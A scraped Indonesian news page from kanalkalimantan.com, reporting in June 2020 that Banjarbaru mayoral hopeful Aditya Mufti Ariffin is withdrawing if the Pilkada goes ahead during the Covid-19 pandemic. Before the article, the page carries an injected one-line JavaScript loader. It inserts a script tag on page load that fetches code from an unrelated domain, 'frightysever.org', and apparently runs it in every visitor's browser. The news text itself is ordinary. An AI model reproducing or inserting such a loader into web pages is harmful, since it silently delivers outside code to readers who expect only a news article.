(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Keputusan pemerintah, KPU dan DPR yang akan menggelar Pilkada 2020 di tengah pandemi Covid-19, sepertinya membuat peta politik di Pilkada Banjarbaru berubah dratis secara tiba-tiba.
Tanpa ada angin apapun, kabar mengejutkan muncul dari kandidat Bakal Calon Wali Kota Banjarbaru Aditya Mufti Ariffin menyatakan mundur dari kontestasi. Berdalih, jika Pilkada tetap dilaksanakan pada 9 Desember 2020 sebagaimana PKPU No 5 Tahun 2020 yang baru disahkan 12 Juni 2020 lalu, Ketua DPW PPP Kalsel Aditya Mufti Ariffin menyatakan pengunduran dirinya dari kontetasi Pilwali 2020 di Banjarbaru.
“Setelah kami melakukan pembicaraan bersama tim, terlalu berisiko memaksakan Pilkada di tengah pandemi. Keselamatan masyarakat di atas segalanya, kami menyatakan mundur jika Pilkada tetap dilaksanakan pada 9 Desember 2020 sementara pandemi belum berakhir,” ujar Aditya calon penantang kuat incumbent Nadjmi Adhani, kepada awak media saat konferensi pers di salah satu rumah makan di Banjarbaru, Senin (15/6/2020) siang.
Aditya menyebut, Pilkada di tengah pandemi tidak efektif. Para kandidat tidak bisa maksimal menyampaikan visi dan misinya kepada calon pemilih. Termasuk juga akan kesulitan dalam memberikan edukasi-edukasi penting terkait penyelenggaraan Pilkada, seperti dalam melaksanakan pembekalan atau pelatihan saksi TPS.
Secara anggaran, lanjutnya, juga akan sangat membebani karena harus menambahkan biaya APD dan protokol kesehatan. Sehingga, tandasnya, akan lebih bijak anggaran yang sangat besar itu difokuskan dulu dalam penanganan Covid-19 dan membantu masyarakat terdampak.
“Banyak masyarakat yang kena PHK, perusahaan tutup, pendapatan jauh berkurang. Itu yang seharusnya lebih kita utamakan, bukan memaksakan Pilkada di tengah pandemi,” tegasnya.
Seperti diketahui, pemerintah baru saja mengesahkan PKPU Nomor 5 Tahun 2020. PKPU tersebut tentang Perubahan Ketiga Atas Peraturan Komisi Pemilihan Umum Nomor 15 Tahun 2019 tentang Tahapan, Program dan J adwal Penyelenggaraan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, Dan/Atau Walikota dan Wakil Walikota Tahun 2020. Pemerintah dalam PKPU tersebut, memutuskan Pilkada Serentak Tahun 2020 dilaksanakan pada 9 Desember 2020.
Sejak diundangkan tanggal 12 Juni 2020, PKPU ini mendapat banyak penolakan. Baik dari para ahli, termasuk dari Dewan Perwakilan Daerah atau DPD. Sejumlah kandidat bakal calon yang akan berkompetisi pun ikut menolak.
Terbaru sebelum Aditya Mufti Ariffin, kandidat calon yang menyatakan mundur karena tak sependapat Pilkada dilaksanakan di tengah pandemi adalah Achmad Purnomo, kandidat bakal calon Walikota Solo. Kemudian juga Abdul Rachmat Noer (ARN), kandidat bakal calon Walikota Makassar.
“Ini salah satu tanggung jawab moral kami kepada masyarakat Banj arbaru. Kami tidak in gin mengorb ankan jiwa tim sukses dan relawan serta masyarakat hanya karena Pilkada,” pungkas Aditya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.